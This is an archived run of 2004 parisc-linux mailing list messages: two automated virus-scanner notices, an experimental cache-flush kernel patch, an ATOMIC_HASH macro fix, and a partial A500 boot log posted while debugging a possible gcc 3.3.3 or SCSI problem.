Date: Sun, 4 Apr 2004 01:40:24 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <02b701c419d5$08e48920$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623328 7553 80.91.229.3 (22 Nov 2014 02:28:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:48 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Sat Apr  3 16:40:18 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FAD7483A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Apr 2004 16:40:18 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E89514.dip0.t-ipconnect.de
	[217.232.149.20])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i33NeGo17509
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Apr 2004 01:40:16 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Sun, 4 Apr 2004 01:40:24 +0200
thread-index: AcQZ1QjkP/Dd75IVSBKj7m1rOyG6LA==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 03 Apr 2004 23:40:24.0349 (UTC)
	FILETIME=[090864D0:01C419D5]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 03 Apr 2004 23:40:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21271

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/4/2004 1:40:23 AM
Engine/Pattern = 7.000-1004/1.847.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Eliminating our full cache flush on fork/exec
Date: 03 Apr 2004 21:38:06 -0500
Lines: 354
Approved: news@gmane.org
Message-ID: <1081046287.2046.460.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623329 7559 80.91.229.3 (22 Nov 2014 02:28:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:49 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Sat Apr  3 19:38:12 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 646AD4860
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Apr 2004 19:38:12 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i342cBa18085 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 3 Apr 2004 21:38:11 -0500
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Apr 2004 02:38:13 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21272

For those of you interested in the problem, this patch is for playing
with: it's not actually faster, it's merely demonstrating that we can
get away with flushing only the untouched page set of a user process.

There are still several potential problems:

1. Moving the flush_kernel_dcache_page() in update_mmu_cache() is
clearly an indication of something wrong.

2. The kernel isn't equivalently mapped (physaddr doesn't equal
virtaddr) so we have potential cache aliasing issues in the tlb miss
code (not sure if we can get away with this; the dreaded appendix F
implies there's no congruence modulus for equivalent mapping).

And I'm seeing periodic segfaults which are probably due to stale cache
line problems.

As far as the patch goes, the essential problem with flush_cache_mmu()
is that we may need to flush a non-current mmu.  The way the tlb miss
code works makes this rather difficult (since we only get pgd pointers
for the kernel and the current user process) so I fixed it by loading up
the space and control registers with the non-current process for the
flush and then resetting them afterwards.  It's a particularly hacky
trick, but we could also use it to fix the non-current flush_cache_page
problem which is currently killing ptrace (and gdb) performance.

James

===== arch/parisc/kernel/cache.c 1.7 vs edited =====
--- 1.7/arch/parisc/kernel/cache.c	Wed Dec 17 23:48:38 2003
+++ edited/arch/parisc/kernel/cache.c	Sat Apr  3 20:24:33 2004
@@ -71,9 +71,9 @@
 	if (VALID_PAGE(page) && page->mapping &&
 	    test_bit(PG_dcache_dirty, &page->flags)) {
 
-		flush_kernel_dcache_page(page_address(page));
 		clear_bit(PG_dcache_dirty, &page->flags);
 	}
+	flush_kernel_dcache_page(page_address(page));
 }
 
 void
@@ -293,6 +293,185 @@
 	}
 }
 EXPORT_SYMBOL(__flush_dcache_page);
+
+/* set to max pages to flush before a full flush.  Zero means no limit */
+#define MAX_FLUSH_PAGES 0
+#undef	DEBUG_PAGE_FLUSHING
+
+#ifdef DEBUG_PAGE_FLUSHING
+#define DBG(a...)	printk(a)
+#else
+#define DBG(...)
+#endif
+
+#if (MAX_FLUSH_PAGES != 0)
+
+/* we get to use the bottom 12 bits of the addr for flags since the
+ * address must be page aligned */
+#define ICACHE_FLUSH_FLAG	0x1
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+	unsigned long *pages;
+
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	pages = kmalloc(MAX_FLUSH_PAGES * sizeof(unsigned long), GFP_ATOMIC);
+	if(!pages) {
+		printk(KERN_ERR "flush_tlb_mm: allocation failed: full flush\n");
+		goto full_flush;
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(pte_val(*pte)==0 || !pte_present(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			
+			pages[actual_count] = start;
+		 
+			if (vma->vm_flags && VM_EXEC)
+				pages[actual_count] |= ICACHE_FLUSH_FLAG;
+			if(++actual_count >= MAX_FLUSH_PAGES)
+				goto full_flush_free;
+
+		}
+	}
+			
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+	for(count = 0; count < actual_count; count++) {
+		unsigned long addr = pages[count] & PAGE_MASK;
+		flush_user_dcache_page(addr);
+		if(pages[count] & ICACHE_FLUSH_FLAG)
+			flush_user_icache_page(addr);
+	}
+ out_free:
+	kfree(pages);
+ out:
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	return;
+
+ full_flush_free:
+	DBG("flush_cache_mm: over max pages %ld (count %ld), flushing everything\n", actual_count, count);
+	flush_cache_all();
+	goto out_free;
+
+ full_flush:
+	flush_cache_all();
+	goto out;
+}
+
+#else
+
+void flush_cache_mm(struct mm_struct *mm)
+{
+	struct vm_area_struct *vma;
+	unsigned long count = 0, actual_count = 0;
+	unsigned long sr3 = mfsp(3), cr25 = mfctl(25);
+	static int flushed = 0;
+
+	if(unlikely(!flushed)) {
+		printk("flush_cache_mm: INIT FLUSH ALL\n");
+		flushed = 1;
+		flush_cache_all();
+		return;
+	}
+
+	preempt_disable();
+	if(mm != current->active_mm) {
+		DBG("flush_tlb_mm: current MM is not active ");
+		/* FIXME: awful hack: move the process the mm belongs
+		 * to temporarily to being the active one.  This only
+		 * works because we can never get back into user
+		 * context from here. */
+		mtctl(__pa(mm->pgd), 25);
+		mtsp(mm->context, 3);
+	}
+
+	for (vma = mm->mmap; vma != NULL; vma = vma->vm_next) {
+		unsigned long start;
+
+		pmd_t *pmd;
+		pgd_t *pgd;
+		pte_t *pte;
+
+		count += (vma->vm_end - vma->vm_start)/PAGE_SIZE;
+
+		for (start = vma->vm_start; start < vma->vm_end;
+		     start += PAGE_SIZE) {
+			pgd = pgd_offset(mm, start);
+
+			if (pgd_none(*pgd)) {
+				start = (start & PGDIR_MASK) + PGDIR_SIZE - PAGE_SIZE;
+				continue;
+			}
+
+			pmd = pmd_offset(pgd, start);
+			if (pmd_none(*pmd)) {
+				start = (start & PMD_MASK) + PMD_SIZE - PAGE_SIZE;
+				continue;
+			}
+			pte = pte_offset_map(pmd, start);
+			if(pte_val(*pte)==0 || !pte_present(*pte))
+				continue;
+
+			/* FIXME: Here we could also skip over any
+			 * shared mapping page (i.e. equivalently
+			 * aliased) with at least one other user */
+			
+			flush_user_dcache_page(start);
+			if (vma->vm_flags && VM_EXEC)
+				flush_user_icache_page(start);
+			actual_count++;
+		}
+	}
+	mtsp(sr3, 3);
+	mtctl(cr25, 25);
+	preempt_enable();
+	DBG("FLUSHED %lu (actual %lu)\n", count, actual_count);
+}
+#endif
+
+EXPORT_SYMBOL(flush_cache_mm);
 
 /* Defined in arch/parisc/kernel/pacache.S */
 EXPORT_SYMBOL(flush_kernel_dcache_range_asm);
===== arch/parisc/kernel/pacache.S 1.4 vs edited =====
--- 1.4/arch/parisc/kernel/pacache.S	Thu Mar 11 03:05:50 2004
+++ edited/arch/parisc/kernel/pacache.S	Sat Apr  3 08:52:19 2004
@@ -574,6 +574,95 @@
 	.exit
 
 	.procend
+	
+	.export flush_user_dcache_page
+
+flush_user_dcache_page:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+	ldil    L%dcache_stride,%r1
+	ldw     R%dcache_stride(%r1),%r23
+
+#ifdef __LP64__
+	depdi,z 1,63-PAGE_SHIFT,1,%r25
+#else
+	depwi,z 1,31-PAGE_SHIFT,1,%r25
+#endif
+	add     %r26,%r25,%r25
+	sub     %r25,%r23,%r25
+
+
+1:      fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	fdc,m   %r23(%sr3,%r26)
+	CMPB<<  %r26,%r25,1b
+	fdc,m   %r23(%sr3,%r26)
+
+	sync
+	bv      %r0(%r2)
+	nop
+	.exit
+
+	.procend
+
+	.export flush_user_icache_page
+
+flush_user_icache_page:
+	.proc
+	.callinfo NO_CALLS
+	.entry
+
+	ldil    L%dcache_stride,%r1
+	ldw     R%dcache_stride(%r1),%r23
+
+#ifdef __LP64__
+	depdi,z 1,63-PAGE_SHIFT,1,%r25
+#else
+	depwi,z 1,31-PAGE_SHIFT,1,%r25
+#endif
+	add     %r26,%r25,%r25
+	sub     %r25,%r23,%r25
+
+
+1:      fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	fic,m   %r23(%sr3,%r26)
+	CMPB<<  %r26,%r25,1b
+	fic,m   %r23(%sr3,%r26)
+
+	sync
+	bv      %r0(%r2)
+	nop
+	.exit
+
+	.procend
+
 
 	.export purge_kernel_dcache_page
 
===== include/asm-parisc/cacheflush.h 1.6 vs edited =====
--- 1.6/include/asm-parisc/cacheflush.h	Thu Oct  2 02:11:59 2003
+++ edited/include/asm-parisc/cacheflush.h	Sat Apr  3 12:20:20 2004
@@ -12,7 +12,7 @@
 #ifdef CONFIG_SMP
 #define flush_cache_mm(mm) flush_cache_all()
 #else
-#define flush_cache_mm(mm) flush_cache_all_local()
+extern void flush_cache_mm(struct mm_struct *);
 #endif
 
 #define flush_kernel_dcache_range(start,size) \
===== include/asm-parisc/page.h 1.5 vs edited =====
--- 1.5/include/asm-parisc/page.h	Sat Sep 27 16:43:45 2003
+++ edited/include/asm-parisc/page.h	Sat Apr  3 19:47:09 2004
@@ -20,6 +20,8 @@
 extern void purge_kernel_dcache_page(unsigned long);
 extern void copy_user_page_asm(void *to, void *from);
 extern void clear_user_page_asm(void *page, unsigned long vaddr);
+extern void flush_user_dcache_page(unsigned long);
+extern void flush_user_icache_page(unsigned long);
 
 static inline void
 copy_user_page(void *vto, void *vfrom, unsigned long vaddr, struct page *pg)




From - Thu Nov 08 21:31:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Sun, 4 Apr 2004 05:32:44 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <036d01c419f5$7e0930f0$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623329 7562 80.91.229.3 (22 Nov 2014 02:28:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:49 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Sat Apr  3 20:34:12 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F3934860
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  3 Apr 2004 20:34:11 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E89514.dip0.t-ipconnect.de
	[217.232.149.20])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i343YAo15069
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Apr 2004 05:34:10 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Sun, 4 Apr 2004 05:32:44 +0200
thread-index: AcQZ9X4Jxyjd7mYSQDOfHcb0P31ZnQ==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 04 Apr 2004 03:32:44.0777 (UTC)
	FILETIME=[7E2CE590:01C419F5]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Apr 2004 03:34:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21273

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 4/4/2004 5:32:39 AM
Engine/Pattern = 7.000-1004/1.847.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ATOMIC_HASH brainfart
Date: Sat, 3 Apr 2004 23:56:04 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20040404065604.GA2335@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623329 7566 80.91.229.3 (22 Nov 2014 02:28:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:49 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: grundler@lackof.org  Sat Apr  3 23:56:06 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0562482C
	for <parisc-linux@parisc-linux.org>;
	Sat,  3 Apr 2004 23:56:05 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id EAD1829804B
	for <parisc-linux@parisc-linux.org>;
	Sat,  3 Apr 2004 23:56:04 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 02266-04 for <parisc-linux@parisc-linux.org>;
	Sat, 3 Apr 2004 23:56:04 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 34E4629803F; Sat,  3 Apr 2004 23:56:04 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Apr 2004 06:56:06 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21274

Hi all,
Seems like someone was confused when they hacked ATOMIC_HASH macro.
Cacheline is 64 bytes not 256...but I've been told several times gcc
is smart enough to convert "foo/64" to "foo>>6"...then just use
the L1_CACHE_BYTES definition to indicate intent?

I haven't verified everything builds and works right
but it looks "obviously correct" to me. Comments?

I'm still looking at getting SMP to boot.

grant


Index: include/asm/atomic.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/atomic.h,v
retrieving revision 1.6
diff -u -p -r1.6 atomic.h
--- a/include/asm/atomic.h	25 Mar 2004 06:19:07 -0000	1.6
+++ b/include/asm/atomic.h	4 Apr 2004 06:48:20 -0000
@@ -19,10 +19,10 @@ typedef spinlock_t atomic_lock_t;
 
 /* Use an array of spinlocks for our atomic_ts.
  * Hash function to index into a different SPINLOCK.
- * Since "a" is usually an address, ">>8" makes one spinlock per 64-bytes.
+ * Since "a" is usually an address, use one spinlock per cacheline.
  */
 #  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&__atomic_hash[(((unsigned long) a)>>8)&(ATOMIC_HASH_SIZE-1)])
+#  define ATOMIC_HASH(a) (&__atomic_hash[(((unsigned long) a)/L1_CACHE_BYTES)&(ATOMIC_HASH_SIZE-1)])
 
 extern atomic_lock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
 


From - Thu Nov 08 21:31:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Domain Validation or gcc 3.3.3 bug?
Date: Sun, 4 Apr 2004 00:23:11 -0700
Lines: 272
Approved: news@gmane.org
Message-ID: <20040404072311.GA2650@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623329 7570 80.91.229.3 (22 Nov 2014 02:28:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: grundler@lackof.org  Sun Apr  4 00:23:14 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00FED487A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Apr 2004 00:23:14 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 6C7E829804B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Apr 2004 00:23:13 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 02266-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Apr 2004 00:23:11 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 8B21529803F; Sun,  4 Apr 2004 00:23:11 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 04 Apr 2004 07:23:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21275

I trying to build/boot 64-bit UP kernel on an A500.
But using gcc 3.3.3 tool chain...I'd just blame the toolchain
but this box (intentionally) has a "wide" SCSI disk tray
connected to the "narrow" SE SCSI port on the a500.
Seems the Domain Validation isn't quite working?
Or this remind someone of any gcc 3.3.3 bugs?

I'll try a kernel built using the trust old hppa64-gcc v3.0.4.
later or tomorrow.

Console output is appended.

thanks,
grant

...
Firmware Version  40.50

Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------
   (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           CoProcessor State  Cache Size
  Number                                       State              Inst    Data
  ---------  --------   ---------------------  -----------------  ------------
      0      440  MHz   Active                 Functional         512 KB   1 MB
      1      440  MHz   Idle                   Functional         512 KB   1 MB

  Central Bus Speed (in MHz)  :        111  
  Available Memory            :    2097152  KB
  Good Memory Required        :      11468  KB

   Primary boot path:    0/0/1/1.15          
   Alternate boot path:  0/0/2/1.15          
   Console path:         0/0/4/0.0           
   Keyboard path:        0/0/4/0.0           

 WARNING:  The non-destructive test bit was set, so memory was not tested 
            destructively.  Information only, no action required. 


---- Main Menu ---------------------------------------------------------------

     Command                           Description
     -------                           -----------
     BOot [PRI|ALT|<path>]             Boot from specified path
     PAth [PRI|ALT] [<path>]           Display or modify a path
     SEArch [DIsplay|IPL] [<path>]     Search for boot devices

     COnfiguration menu                Displays or sets boot values
     INformation menu                  Displays hardware information
     SERvice menu                      Displays service commands

     DIsplay                           Redisplay the current menu
     HElp [<menu>|<command>]           Display help for menu or command
     RESET                             Restart the system
----
Main Menu: Enter command or menu > bo
Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Boot IO Dependent Code (IODC) revision 1


HARD Booted.
palo ipl 1.4 root@c3k Fri Mar 26 16:18:24 MST 2004

Partition Start(MB) End(MB) Id Type
1               1     513   fd RAID
2             514     524   f0 Palo
3             525    2051   fd RAID
4            2052    8682   fd RAID

PALO(F0) partition contains:
    0/vmlinux64 4822102 bytes @ 0x20140000
Current command line:
3/boot/vmlinux-2.6.5-rc3-pa3 HOME=/ TERM=linux root=/dev/md2 console=ttyS0
 0: 3/boot/vmlinux-2.6.5-rc3-pa3
 1: HOME=/
 2: TERM=linux
 3: root=/dev/md2
 4: console=ttyS0

Edit which field?
(or 'b' to boot with this command line, 'r' to restore)? 0
3/boot/vmlinux-2.6.5-rc3-pa3
Current command line:
3/boot/vmlinux-2.6.5-rc3-pa3 HOME=/ TERM=linux root=/dev/md2 console=ttyS0
 0: 3/boot/vmlinux-2.6.5-rc3-pa3
 1: HOME=/
 2: TERM=linux
 3: root=/dev/md2
 4: console=ttyS0

Edit which field?
(or 'b' to boot with this command line, 'r' to restore)? b

Command line for kernel: 'HOME=/ TERM=linux root=/dev/md2 console=ttyS0 palo_kernel=3/boot/vmlinux-2.6.5-rc3-pa3'
Selected kernel: /boot/vmlinux-2.6.5-rc3-pa3 from partition 3
ELF64 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 3047808 mediaptr 0x1000
Segment 1 load 003ec000 size 263400 mediaptr 0x2ea000
Segment 2 load 00430000 size 233605 mediaptr 0x32b000
Branching to kernel entry point 0x00100000.  If this is the last
